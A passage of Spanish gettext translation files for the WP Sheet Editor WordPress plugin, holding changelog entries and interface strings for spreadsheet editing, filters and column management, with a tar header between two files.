                  Seguridad: Ahora los posts y páginas privadas se muestran sólo a los " #~ "usuarios que tienen permisos para leerlos y editarlos.

                  " #~ msgid "" #~ "

                  Security: Now we don´t allow users to publish posts if they don´t have " #~ "permissions to publish, we save them as drafts.

                  " #~ msgstr "" #~ "

                  Seguridad: Ahora no permitimos que los usuarios publiquen posts si no " #~ "tienen permisos para publicarlos. Los guardamos como borradores.

                  " #~ msgid "

                  Other minor changes.

                  " #~ msgstr "

                  Otros cambios menores

                  " #~ msgid "" #~ "

                  New feature: Now the first column of the spreadsheet is always visible " #~ "while scrolling to the right.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora la primera columna de la hoja de cálculo " #~ "está siempre visible mientras te desplazas hacia la derecha.

                  " #~ msgid "

                  Other minor changes and fixes.

                  " #~ msgstr "

                  Otros cambios menores.

                  " #~ msgid "" #~ "

                  New feature: Now you can edit WooCommerce products in the free plugin, " #~ "but with limited columns and product types.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora puedes editar productos WooCommerce en el " #~ "plugin gratuito, aunque con columnas y tipos de producto limitados.

                  " #~ msgid "

                  New feature: Now you can upload featured images using URLs.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora puedes subir imágenes destacadas usando " #~ "URLs.

                  " #~ msgid "" #~ "

                  Improvement: Now the spreadsheet support hundreds of rows at once, and " #~ "saving is faster.

                  " #~ msgstr "" #~ "

                  Mejora: Ahora la hoja de cálculo soporta cientos de filas a la vez, y " #~ "el guardado es más rápido.

                  " #~ msgid "" #~ "

                  NEW - USERS - Released users extension for editing WordPress users in " #~ "spreadsheet. Check extension

                  " #~ msgstr "" #~ "

                  NUEVO - USUARIOS - Extensión de usuarios lanzada para editar usuarios " #~ "de WordPress en una hoja de cálculo. Revisar la extensión

                  " #~ msgid "" #~ "

                  NEW - CORE - Added \"search\" tool. Search by keyword, author, and " #~ "post status.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Se agregó la herramienta de \"búsqueda\". Buscar por " #~ "palabra clave, autor y estado del post.

                  " #~ msgid "" #~ "

                  NEW - COLUMNS RESIZING - Allow to resize columns and save for next " #~ "sessions.

                  " #~ msgstr "" #~ "

                  NUEVO - CAMBIAR EL TAMAÑO DE LAS COLUMNAS - Permite cambiar el tamaño " #~ "de las columnas y guardar para las próximas sesiones.

                  " #~ msgid "" #~ "

                  NEW - FILTERS - Added bar showing active filters with options to " #~ "remove individual filters.

                  " #~ msgstr "" #~ "

                  NUEVO - FILTROS - Se ha añadido una barra que muestra los filtros " #~ "activos con opciones para eliminar filtros individuales.

                  " #~ msgid "" #~ "

                  NEW - CORE - Added status bar showing number of posts loaded in " #~ "spreadsheet and total posts available according to the filters.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Se ha añadido una barra de estado que muestra el " #~ "número de posts cargados en la hoja de cálculo y el total de posts " #~ "disponibles según los filtros.

                  " #~ msgid "" #~ "

                  NEW - CORE - Added settings page button in the toolbar for quick " #~ "access.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO- Botón de la página de ajustes añadido en la barra de " #~ "herramientas para un acceso rápido.

                  " #~ msgid "

                  NEW - CORE - Updated welcome page to showcase extensions.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Página de bienvenida actualizada para mostrar las " #~ "extensiones.

                  " #~ msgid "

                  CHANGE - CORE - Updated texts for improved usability.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Textos actualizados para mejorar la usabilidad.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Removed extensions teasers and replaced with a simple " #~ "text message.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Se han eliminado los teasers de las extensiones y se " #~ "han sustituido por un simple mensaje de texto.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - If the spreadsheet wasn´t modified, don´t show the " #~ "\"please save your changes\" notification when the page is closed.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Si la hoja de cálculo no fue modificada, no mostrar " #~ "la notificación \"Por favor, guarda tus cambios\" cuando la página esté " #~ "cerrada.

                  " #~ msgid "" #~ "

                  FIX - CORE - When closing file uploads or tinymce popups, the screen " #~ "doesn´t return to the original position.

                  " #~ msgstr "" #~ "

                  AJUSTE - CORE - Al cerrar las subidas de archivos o ventanas " #~ "emergentes de tinymce, la pantalla no vuelve a su posición original.

                  " #~ msgid "

                  FIX - CORE - Sometimes options page doesn´t load.

                  " #~ msgstr "

                  AJUSTE- NÚCLEO - A veces la página de opciones no se carga.

                  " #~ msgid "

                  FIX - CORE - Schedule posts are not showing on spreadsheet.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - Los posts del horario no se muestran en la hoja de " #~ "cálculo.

                  " #~ msgid "" #~ "

                  FIX - FILTERS - When using the same filter multiple times with " #~ "different values it starts returning wrong posts.

                  " #~ msgstr "" #~ "

                  AJUSTE - FILTROS - Cuando se utiliza el mismo filtro varias veces con " #~ "valores diferentes, comienza a devolver mensajes erróneos.

                  " #~ msgid "" #~ "

                  FIX - FILTERS - When making a lot of searches, the total posts count " #~ "changes and the infinite scroll stops working.

                  " #~ msgstr "" #~ "

                  AJUSTE - FILTROS - Cuando se hacen muchas búsquedas, el total de posts " #~ "cambia de cuenta y el desplazamiento infinito deja de funcionar.

                  " #~ msgid "" #~ "

                  FIX - CORE - it doesn´t allow to create new WooCommerce products.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - No permite crear nuevos productos WooCommerce.

                  " #~ msgid "" #~ "

                  FIX - CORE - Spreadsheet becomes too slow when loading thousands of " #~ "rows.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - La hoja de cálculo se vuelve demasiado lenta cuando " #~ "se cargan miles de filas.

                  " #~ msgid "" #~ "

                  NEW - POST TEMPLATES - Released free extension for duplicating posts " #~ "in the spreadsheet. Check extension" #~ msgstr "" #~ "

                  NUEVO - PLANTILLAS DE POST - Lanzamiento de una extensión gratuita " #~ "para la duplicación de posts en la hoja de cálculo. Revisar la extensión

                  " #~ msgid "" #~ "

                  NEW - COLUMNS VISIBILITY - This premium feature is now free. You can " #~ "hide and sort columns in the spreadsheet.

                  " #~ msgstr "" #~ "

                  NUEVO - VISIBILIDAD DE LAS COLUMNAS - Esta característica premium es " #~ "ahora gratuita. Puedes ocultar y ordenar columnas en la hoja de cálculo." #~ msgid "" #~ "

                  NEW - AUTO FILL CELLS - This premium feature is now free. You can " #~ "autofill cells by dragging down a cell like you do in excel.

                  " #~ msgstr "" #~ "

                  NUEVO - AUTOLLENAR CELDAS - Esta característica premium es ahora " #~ "gratuita. Puedes rellenar automáticamente las celdas arrastrando hacia " #~ "abajo una celda como lo haces en Excel.

                  " #~ msgid "" #~ "

                  NEW - WOOCOMMERCE - Added new columns to the free version of the " #~ "plugin: SKU, Width, Length, Height, Weight, Manage stock, Stock status, " #~ "and stock quantity.

                  " #~ msgstr "" #~ "

                  NUEVO - WOOOCOMMERCE - Se han añadido nuevas columnas a la versión " #~ "gratuita del plugin: SKU, Anchura, Longitud, Altura, Peso, Gestionar " #~ "stock, Estado de stock y cantidad de stock.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Improved usability. We updated some texts to make it " #~ "clear what features are free and what features are premium

                  " #~ msgstr "" #~ "

                  cambio - núcleo - Mejora de la usabilidad. Hemos actualizado algunos " #~ "textos para dejar claro qué características son gratuitas y qué " #~ "características son premium

                  " #~ msgid "" #~ "

                  CHANGE - CORE - the quick setup flow was redesigned to make the setup " #~ "easier to understand.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - El flujo de configuración rápida fue rediseñado para " #~ "que la configuración sea más fácil de entender.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Improved translations. Now we include a .pot file.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Traducciones mejoradas. Ahora incluimos un archivo." #~ "pot.

                  " #~ msgid "" #~ "

                  FIX - CORE - Added compatibility with \"ultimate fields\" plugin.

                  " #~ msgstr "" #~ "

                  AJUSTE - CORE - Añadida la compatibilidad con el plugin \"ultimate " #~ "fields\".

                  " #~ msgid "" #~ "New feature - Added support for Advanced Custom Fields +v5.0.0. " #~ "(Available for paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Añadido soporte para Advanced Custom Fields " #~ "+v5.0.0. (Disponible sólo para usuarios de pago. Upgrade)" #~ msgid "" #~ "New feature - Spreadsheet formulas - Added support for regular " #~ "expressions (Available for paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Fórmulas de hoja de cálculo - Añadido soporte para " #~ "expresiones regulares (Disponible sólo para usuarios de pago. Upgrade)" #~ msgid "" #~ "New extension - WooCommerce Customers Spreadsheet. View all customer " #~ "profiles, View shipping and Billing info, Advanced Searches, and more. View Extension)" #~ msgstr "" #~ "Nueva extensión - Hoja de cálculo de clientes de WooCommerce. Ver todos " #~ "los perfiles de clientes, Ver información de envío y facturación, " #~ "Búsquedas avanzadas y más. Ver Extensión " #~ ")" #~ msgid "" #~ "Updated extension - Frontend Spreadsheets. Let your users create and edit " #~ "Information like Events, Business listings, WooCommerce Products, Posts, " #~ "etc. View Extension)" #~ msgstr "" #~ "Extensión actualizada - Hojas de cálculo de Frontend. Permite a tus " #~ "usuarios crear y editar información como eventos, listados de negocios, " #~ "Productos WooCommerce, Posts, etc. Ver " #~ "Extensión )" #~ msgid "Improved tools: formulas engine" #~ msgstr "Herramientas mejoradas: motor de fórmulas" #~ msgid "Improved tools: advanced search" #~ msgstr "Herramientas mejoradas: búsqueda avanzada" #~ msgid "Fixed more than 19 bugs" #~ msgstr "Arreglados más de 19 bugs" #~ msgid "Improved 10 features" #~ msgstr "10 características mejoradas" #~ msgid "Updated 4 extensions." #~ msgstr "4 Extensiones Actualizadas." #~ msgid "Apply filters" #~ msgstr "Aplicar filtros" #~ msgid "" #~ "You will be able to switch from one columns group to another group with " #~ "one click. We will display the option in the top toolbar > columns " #~ "manager dropdown" #~ msgstr "" #~ "Podrás cambiar de un grupo de columnas a otro grupo con un solo clic. " #~ "Mostraremos la opción en la barra de herramientas superior > desplegable " #~ "del gestor de columnas" #~ msgid "Edit thousands of rows at once in seconds" #~ msgstr "Edita miles de filas a la vez en segundos" #~ msgid "" #~ "Delete all the items containing duplicate values in the column, we only " #~ "leave one item per unique value. Read more" #~ msgstr "" #~ "Borrar todos los ítems que contienen valores duplicados en la columna, " #~ "sólo dejamos un ítem por cada valor único. Leer más" #~ msgid "Copy from multiple columns" #~ msgstr "Copiar desde varias columnas" #~ msgid "" #~ "Example: 'Articles written by $post_author$ on $post_date$' = 'Articles " #~ "written by Adam on 24-12-2017'.
                  Another example: '$category$-" #~ "$_regular_price$ EUR' would be 'Videos - 25 EUR'" #~ msgstr "" #~ "Ejemplo: 'Artículos escritos por $post_author$ en $post_date$' = " #~ "'Artículos escritos por Adam el 24-12-2017'.
                  Otro ejemplo: " #~ "'$category$-$_regular_price$ EUR' sería `Videos - 25 EUR´'." #~ msgid "The variations are for these products:" #~ msgstr "Las variaciones son para estos productos:" #~ msgid "Hide cell comments?" #~ msgstr "¿Ocultar los comentarios de las celdas?" #~ msgid "" #~ "For example, to get all products with price higher than 100, use: " #~ "_regular_price > 100" #~ msgstr "" #~ "Por ejemplo, para encontrar todos los productos con precio mayor a 100, " #~ "usa: _regular_price > 100" #~ msgid "" #~ "- The sheet has a limit of %d columns for performance reasons. You " #~ "reached the limit. You need to delete columns in the list above (Move " #~ "them to the \"disabled\" list and click the X button on each column), " #~ "reload the page, and new columns will appear automatically - or - you can " #~ "increase the columns limit." #~ msgstr "" #~ "- La hoja tiene un límite de %d de columnas por razones de rendimiento. " #~ "Has llegado al límite. Necesitas eliminar las columnas de la lista " #~ "anterior (Muévelas a la lista \"desactivada\" y haz clic en el botón X de " #~ "cada columna), vuelve a cargar la página, y aparecerán nuevas columnas " #~ "automáticamente - o - puedes aumentar el " #~ "límite de las columnas ." #~ msgid "" #~ "Make advanced searches and show only the matching rows in the " #~ "spreadsheet. You can search by multiple conditions at once." #~ msgstr "" #~ "Haz búsquedas avanzadas y muestra sólo las filas coincidentes en la hoja " #~ "de cálculo. Puedes buscar por múltiples condiciones a la vez." #~ msgid "" #~ "This feature allows you to filter the items in the spreadsheet to display " #~ "only the items you want to edit." #~ msgstr "" #~ "Esta función te permite filtrar los elementos de la hoja de cálculo para " #~ "mostrar sólo los elementos que quieres editar." #~ msgid "Update existing value with the result of a math operation." #~ msgstr "" #~ "Actualizar el valor existente con el resultado de una operación " #~ "matemática." #~ msgid "Decrease the existing value by a percentage." #~ msgstr "Disminuir el valor existente en un porcentaje." #~ msgid "Decrease the existing value by a number." #~ msgstr "Disminuir el valor existente en un número." #~ msgid "Increase the existing value by a percentage." #~ msgstr "Incrementar el valor existente en un porcentaje." #~ msgid "Increase the existing value by a number." #~ msgstr "Incrementar el valor existente en un número." #~ msgid "" #~ "Invalid #8W89WW. The search and replace text must not be empty. At least " #~ "one of them must have a value" #~ msgstr "" #~ "Inválido #8W89WWW. El texto de búsqueda y reemplazo no debe estar vacío. " #~ "Al menos uno de ellos debe tener un valor" #~ msgid "

                  Complete. You can close this popup

                  ." #~ msgstr "

                  Completo. Puedes cerrar esta ventana emergente

                  ." #~ msgid "%d of %d items have been processed. %d items have been updated." #~ msgstr "%d de %d artículos han sido procesados. %d han sido actualizados." #~ msgid "I will edit this file with Microsoft Excel." #~ msgstr "Editaré este archivo con Microsoft Excel." #~ msgid "" #~ "Sometimes Excel shows all the values in a single cell and it does not " #~ "recognize the comma as separator. This fixes that problem" #~ msgstr "" #~ "A veces Excel muestra todos los valores en una sola celda y no reconoce " #~ "la coma como separador. Esto arregla el problema" #~ msgid "" #~ "We find items that have the same value in the CSV Field and the WP Field." #~ "
                  For example, users with the same email address in the CSV and WP." #~ "
                  We can search in 2 fields. Example: products with same SKU and Title," #~ "
                  or users with same email address and username." #~ msgstr "" #~ "Encontramos elementos que tienen el mismo valor en el campo CSV y en el " #~ "campo WP.
                  Por ejemplo, los usuarios con la misma dirección de correo " #~ "electrónico en el CSV y WP.
                  Podemos buscar en 2 campos. Ejemplo: " #~ "productos con el mismo SKU y título,
                  o usuarios con la misma " #~ "dirección de correo electrónico y nombre de usuario." #~ msgid "Field 1: CSV Field" #~ msgstr "Campo 1: Campo CSV" #~ msgid "Field 1: WordPress Field" #~ msgstr "Campo 1: Campo de WordPress" #~ msgid "Share" #~ msgstr "Compartir" #~ msgid "" #~ "

                  Missing column?

                  1. Try to add it automatically. Click here
                  2. You reached the " #~ "columns limit? Fix it
                  3. Maybe " #~ "the column is hidden.
                  4. We can " #~ "help you Contact us
                  " #~ msgstr "" #~ "

                  ¿Falta una columna?

                  1. Intenta añadirla automáticamente. Haz clic aquí
                  2. ¿Has llegado al " #~ "límite de las columnas? Corregir
                  3. >Tal vez la columna esté oculta.
                  4. Podemos ayudarte Contáctanos
                  " #~ msgid "(Go premium)" #~ msgstr "(Pasate a Premium)" #~ msgid "How many posts do you want to display on the spreadsheet?" #~ msgstr "¿Cuántos posts quieres mostrar en la hoja de cálculo?" #~ msgid "Advanced" #~ msgstr "Avanzado" #~ msgid "" #~ "When you have 1000 posts , you might want to open the spreadsheet and " #~ "start editing from post 200. This option lets you open the spreadsheet " #~ "and start from a specific post index instead of starting from the " #~ "beginning." #~ msgstr "" #~ "Cuando tengas 1000 posts, es posible que quieras abrir la hoja de cálculo " #~ "y empezar a editar desde el post 200. Esta opción te permite abrir la " #~ "hoja de cálculo y empezar desde un índice de post específico en lugar de " #~ "empezar desde el principio." #~ msgid "Scheduled" #~ msgstr "Programado" #~ msgid "You can deactivate this forever on the settings page" #~ msgstr "Puedes desactivarlo para siempre en la página de configuración" #~ msgid "Available post types" #~ msgstr "Tipos de post disponibles" #~ msgid "Custom Spreadsheets for Your Users or Employees" #~ msgstr "Hojas de cálculo personalizadas para tus usuarios o empleados" modules/wp-sheet-editor/lang/vg_sheet_editor-es_GT.po000064400001165603147600365160016712 0ustar00msgid "" msgstr "" "Project-Id-Version: \n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2023-07-12T19:16:48+00:00\n" "PO-Revision-Date: 2023-07-19 13:16-0600\n" "Last-Translator: \n" "Language-Team: \n" "Language: es_GT\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Generator: Poedit 3.3.1\n" #: acf/acf.php:84 msgid "ACF: Show checkboxes as multi select dropdowns?" msgstr "" "ACF: ¿Mostrar las casillas de verificación como desplegados de selección " "múltiple?" #: acf/acf.php:85 msgid "" "By default, we show every checkbox as a separate column, but if you have " "checkboxes with many options you might want to use one column with a " "dropdown instead." msgstr "" "Por defecto, mostramos cada casilla de verificación como una columna " "separada, pero si tienes casillas de verificación con muchas opciones es " "posible que desees utilizar una columna con un desplegable en su lugar." #: acf/acf.php:377 msgid "" "You need to configure your Google Maps API key to save the Google Maps " "columns. This is required by Advanced Custom Fields, you can follow this tutorial" msgstr "" "Tienes que configurar la API key de Google Maps para poder guardar valores " "en las columnas de mapas de Advanced Custom Fields. Esto es requerido por " "Advanced Custom Fields, puedes seguir este tutorial" #: acf/acf.php:915 msgid "Enter a title" msgstr "Ingresa un título" #: acf/acf.php:1144 msgid "Row" msgstr "Fila" #: advanced-filters/advanced-filters.php:48 #: advanced-filters/advanced-filters.php:70 #: columns-manager/inc/column-groups.php:281 #: columns-resizing/columns-resizing.php:59 #: columns-visibility/columns-visibility.php:213 formulas/formulas.php:590 #: spreadsheet-setup/spreadsheet-setup.php:283 #: universal-sheet/universal-sheet.php:144 woocommerce/inc/attributes.php:799 #: woocommerce/inc/attributes.php:1019 woocommerce/inc/downloadable.php:368 #: woocommerce/inc/downloadable.php:387 woocommerce/inc/variations.php:1618 #: woocommerce/inc/variations.php:1637 #: wp-sheet-editor/dev/inc/api/editor.php:161 #: wp-sheet-editor/dev/wp-sheet-editor.php:1162 #: wp-sheet-editor/dev/wp-sheet-editor.php:1176 #: wp-sheet-editor/dev/wp-sheet-editor.php:1187 msgid "You dont have enough permissions to view this page." msgstr "No tienes suficientes permisos para ver esta página." #: advanced-filters/advanced-filters.php:132 msgid "Save this search" msgstr "Guardar esta búsqueda" #: advanced-filters/advanced-filters.php:133 msgid "Enter a name..." msgstr "Ingresa un nombre..." #: advanced-filters/advanced-filters.php:441 #: woocommerce/inc/import-export.php:96 msgid "Parent" msgstr "Padre" #: advanced-filters/advanced-filters.php:637 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter %s" msgstr "Ingresa %s" #: advanced-filters/advanced-filters.php:637 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter the names of " msgstr "Ingresa los nombres de " #: advanced-filters/advanced-filters.php:638 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:40 msgid "Category name..." msgstr "Nombre de la categoría..." #: advanced-filters/advanced-filters.php:650 #: advanced-filters/advanced-filters.php:707 #: advanced-filters/advanced-filters.php:762 filters/filters.php:540 msgid "Select..." msgstr "Seleccionar..." #: advanced-filters/advanced-filters.php:705 msgid "Field" msgstr "Campo" #: advanced-filters/advanced-filters.php:714 msgid "Last edit" msgstr "Última modificación" #: advanced-filters/advanced-filters.php:715 msgid "Old slug" msgstr "Slug antiguo" #: advanced-filters/advanced-filters.php:716 filters/filters.php:508 #: wp-sheet-editor/dev/inc/api/bootstrap.php:662 msgid "Author" msgstr "Autor" #: advanced-filters/advanced-filters.php:717 msgid "Date (GMT)" msgstr "Fecha (GMT)" #: advanced-filters/advanced-filters.php:718 msgid "Modified Date (GMT)" msgstr "Fecha de Modificación (GMT)" #: advanced-filters/advanced-filters.php:719 #: wp-sheet-editor/dev/inc/api/bootstrap.php:725 msgid "Comments" msgstr "Comentarios" #: advanced-filters/advanced-filters.php:720 msgid "Ping status" msgstr "Estado del ping" #: advanced-filters/advanced-filters.php:721 #: wp-sheet-editor/dev/inc/api/bootstrap.php:501 msgid "URL Slug" msgstr "URL Slug" #: advanced-filters/advanced-filters.php:722 #: wp-sheet-editor/dev/inc/api/bootstrap.php:759 msgid "Page Parent" msgstr "Página Padre" #: advanced-filters/advanced-filters.php:723 msgid "Mime type" msgstr "Tipo de MIME" #: advanced-filters/advanced-filters.php:724 msgid "Comment count" msgstr "Recuento de comentarios" #: advanced-filters/advanced-filters.php:725 msgid "EDD Variable Prices" msgstr "Precio variable EDD" #: advanced-filters/advanced-filters.php:726 msgid "EDD Download Files" msgstr "Archivos de descarga EDD" #: advanced-filters/advanced-filters.php:757 msgid "A field is missing? Click here" msgstr "¿Faltan campos? Haz clic aquí" #: advanced-filters/advanced-filters.php:761 msgid "Operator" msgstr "Operador" #: advanced-filters/advanced-filters.php:767 woocommerce/inc/attributes.php:779 #: woocommerce/inc/attributes.php:780 woocommerce/inc/variations.php:507 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:947 msgid "Value" msgstr "Valor" #: advanced-filters/advanced-filters.php:772 #: advanced-filters/advanced-filters.php:798 #: wp-sheet-editor/dev/inc/api/bootstrap.php:276 msgid "Add new" msgstr "Añadir nuevo" #: advanced-filters/advanced-filters.php:775 msgid "X" msgstr "X" #: advanced-filters/advanced-filters.php:785 msgid "Enable advanced filters" msgstr "Habilitar filtros avanzados" #: advanced-filters/advanced-filters.php:788 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 msgid "Advanced search" msgstr "Búsqueda avanzada" #: advanced-filters/advanced-filters.php:790 msgid "" "You can search by any field using operators. I.e. price > 100, image != " "(empty)" msgstr "" "Puedes buscar por cualquier campo usando operadores. Por ejemplo: precio > " "100, imagen != (vacío)" #: advanced-filters/advanced-filters.php:807 msgid "NOT Contains this keyword" msgstr "No Contiene esta palabra clave" #: advanced-filters/advanced-filters.php:807 msgid "" "Enter a keyword to exclude posts, separate multiple keywords with a " "semicolon (;)" msgstr "" "Ingresa una palabra clave para excluir filas. Separa múltiples palabras " "claves con un punto y coma (;)" #: advanced-filters/advanced-filters.php:811 msgid "Find these IDs:" msgstr "Encontrar estos IDs:" #: advanced-filters/advanced-filters.php:811 msgid "" "Enter IDs separated by commas, spaces, new lines, or tabs. You can use ID " "ranges like 20-50 as a shortcut." msgstr "" "Ingresa los IDs separados por comas, espacios, nuevas líneas, o usando tabs. " "Puedes agregar rangos como 20-50 como un acceso directo." #: advanced-filters/advanced-filters.php:816 msgid "Find these URLs:" msgstr "Encontrar estas URLs:" #: advanced-filters/advanced-filters.php:816 msgid "Enter one URL per line" msgstr "Ingresa una URL por línea" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Date range from" msgstr "Fecha Inicial" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Show items published between these dates" msgstr "Mostrar elementos publicados entre estas fechas" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "to" msgstr "Fecha final" #: advanced-filters/advanced-filters.php:839 msgid "Any of these values (Enter multiple values separated by ;)" msgstr "" "Cualquiera de estos valores (Ingresa múltiples valores separados por ;)" #: advanced-filters/advanced-filters.php:840 msgid "CONTAINS" msgstr "CONTIENE" #: advanced-filters/advanced-filters.php:841 msgid "NOT CONTAINS" msgstr "NO CONTIENE" #: advanced-filters/advanced-filters.php:842 msgid "STARTS WITH" msgstr "INICIA CON" #: advanced-filters/advanced-filters.php:843 msgid "ENDS WITH" msgstr "TERMINA CON" #: advanced-filters/advanced-filters.php:844 msgid "CHARACTER LENGTH <" msgstr "CANTIDAD DE CARACTERES <" #: advanced-filters/advanced-filters.php:845 msgid "CHARACTER LENGTH >" msgstr "CANTIDAD DE CARACTERES >" #: advanced-filters/advanced-filters.php:846 msgid "REGEXP" msgstr "REGEXP" #: advanced-filters/advanced-filters.php:847 msgid "In the last x hours" msgstr "En las últimas X horas" #: advanced-filters/advanced-filters.php:848 msgid "In the last x days" msgstr "En los últimos X días" #: advanced-filters/advanced-filters.php:849 msgid "In the last x weeks" msgstr "En las últimas X semanas" #: advanced-filters/advanced-filters.php:850 msgid "In the last x years" msgstr "En los últimos X años" #: columns-manager/columns-manager.php:70 wp-sheet-editor/dev/inc/ajax.php:19 #: wp-sheet-editor/dev/inc/ajax.php:45 msgid "You dont have enough permissions to do this action." msgstr "No tienes suficientes permisos para realizar esta acción." #: columns-manager/columns-manager.php:103 msgid "Please select the background color" msgstr "Por favor, selecciona un color de fondo" #: columns-manager/columns-manager.php:105 formulas/inc/ui.php:622 msgid "Clear value" msgstr "Borrar valor" #: columns-manager/columns-manager.php:107 #: custom-columns/views/settings-page.php:149 #: wp-sheet-editor/dev/inc/api/bootstrap.php:265 #: wp-sheet-editor/dev/views/post-types-form.php:31 #: wp-sheet-editor/dev/views/settings-form.php:120 msgid "Save" msgstr "Guardar" #: columns-manager/columns-manager.php:108 formulas/inc/ui.php:132 #: posts-templates/posts-templates.php:106 #: universal-sheet/views/export-modal.php:14 #: universal-sheet/views/export-modal.php:84 #: universal-sheet/views/import-modal.php:15 #: wp-sheet-editor/dev/views/editor-page.php:265 msgid "Cancel" msgstr "Cancelar" #: columns-manager/columns-manager.php:259 msgid "" " Some columns have the button to change the " "formatting" msgstr "" " Algunas columnas tienen el botón para cambiar " "el formato" #: columns-manager/columns-manager.php:273 columns-visibility/views/form.php:9 msgid "Columns manager" msgstr "Gestor de columnas" #: columns-manager/columns-manager.php:554 #: wp-sheet-editor/dev/inc/api/bootstrap.php:830 msgid ". Add child categories using this format: Parent > child1 > child2" msgstr ". Agrega categorías hijas usando este formato: Padre > hija1 > hija2" #: columns-manager/columns-manager.php:563 msgid "Enter multiple terms separated by commas" msgstr "Ingresa varios términos separados por comas" #: columns-manager/columns-manager.php:581 msgid "Enter multiple post titles separated by commas" msgstr "Ingresa varios títulos separados por comas" #: columns-manager/columns-manager.php:1111 #: wp-sheet-editor/dev/inc/api/bootstrap.php:182 #: wp-sheet-editor/dev/inc/options-init.php:564 #: wp-sheet-editor/dev/inc/options-init.php:567 #: wp-sheet-editor/dev/views/quick-setup.php:101 msgid "Settings" msgstr "Ajustes" #: columns-manager/columns-manager.php:1127 #: custom-columns/views/settings-page.php:91 msgid "Is read only?" msgstr "¿Es de sólo lectura?" #: columns-manager/columns-manager.php:1131 msgid "" "Read-only columns will display a lock and it won't be possible to edit them " "anywhere in the spreadsheet. This is not a security feature because people " "still can edit in the regular WP screens." msgstr "" "Las columnas de sólo lectura mostrarán un candado y no será posible " "editarlas en ninguna parte de la hoja de cálculo. Esto no es una " "característica de seguridad porque la gente todavía puede editar en las " "pantallas normales de WP." #: columns-manager/columns-manager.php:1140 msgid "User capabilities that can read this column" msgstr "Capacidades del usuario que pueden leer esta columna" #: columns-manager/columns-manager.php:1140 msgid "" "The column will appear in the spreadsheet and exports if the user has a role " "with the required capability." msgstr "" "La columna aparecerá en la hoja de cálculo y en las exportaciones si el " "usuario tiene un rol con la capacidad requerida." #: columns-manager/columns-manager.php:1143 msgid "User capabilities that can edit this column" msgstr "Capacidades de usuario que pueden leer esta columna" #: columns-manager/columns-manager.php:1143 msgid "" "The column will be read only if the user doesn't have a role with the " "required capability." msgstr "" "La columna puede ser leía solo si el usuario no tiene un rol con la " "capacidad requerida." #: columns-manager/columns-manager.php:1154 msgid "Separated with commas" msgstr "Separados por comas" #: columns-manager/columns-manager.php:1155 msgid "Serialized array" msgstr "Array serializado" #: columns-manager/columns-manager.php:1158 msgid "File ID" msgstr "ID del archivo" #: columns-manager/columns-manager.php:1159 formulas/inc/ui.php:998 #: universal-sheet/views/import-modal.php:43 msgid "File URL" msgstr "URL del archivo" #: columns-manager/columns-manager.php:1162 msgid "Use default" msgstr "Usar por defecto" #: columns-manager/columns-manager.php:1163 formulas/inc/ui.php:554 #: woocommerce/inc/attributes.php:281 msgid "Yes" msgstr "Sí" #: columns-manager/columns-manager.php:1164 formulas/inc/ui.php:554 #: woocommerce/inc/attributes.php:281 msgid "No" msgstr "No" #: columns-manager/columns-manager.php:1167 #: columns-manager/columns-manager.php:1172 #: wp-sheet-editor/dev/inc/api/bootstrap.php:463 #: wp-sheet-editor/dev/inc/api/custom-tables-bootstrap.php:22 msgid "ID" msgstr "ID" #: columns-manager/columns-manager.php:1168 msgid "Username" msgstr "Nombre de usuario" #: columns-manager/columns-manager.php:1169 #: columns-manager/columns-manager.php:1212 msgid "Email" msgstr "Correo electrónico" #: columns-manager/columns-manager.php:1173 #: wp-sheet-editor/dev/inc/api/bootstrap.php:484 #: wp-sheet-editor/dev/inc/teasers/post-types.php:93 #: wp-sheet-editor/dev/inc/teasers/post-types.php:108 msgid "Title" msgstr "Título" #: columns-manager/columns-manager.php:1174 #: columns-manager/columns-manager.php:1183 msgid "Slug" msgstr "Slug" #: columns-manager/columns-manager.php:1177 msgid "Saved them separated by comma" msgstr "Guárdalos separados por comas" #: columns-manager/columns-manager.php:1178 msgid "Save them as serialized array" msgstr "Guárdalos como un array serializado" #: columns-manager/columns-manager.php:1181 msgid "Term ID" msgstr "ID del término" #: columns-manager/columns-manager.php:1182 woocommerce/inc/attributes.php:779 #: woocommerce/inc/attributes.php:780 woocommerce/inc/downloadable.php:258 #: woocommerce/inc/downloadable.php:259 woocommerce/inc/variations.php:506 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:868 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:869 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:946 msgid "Name" msgstr "Nombre" #: 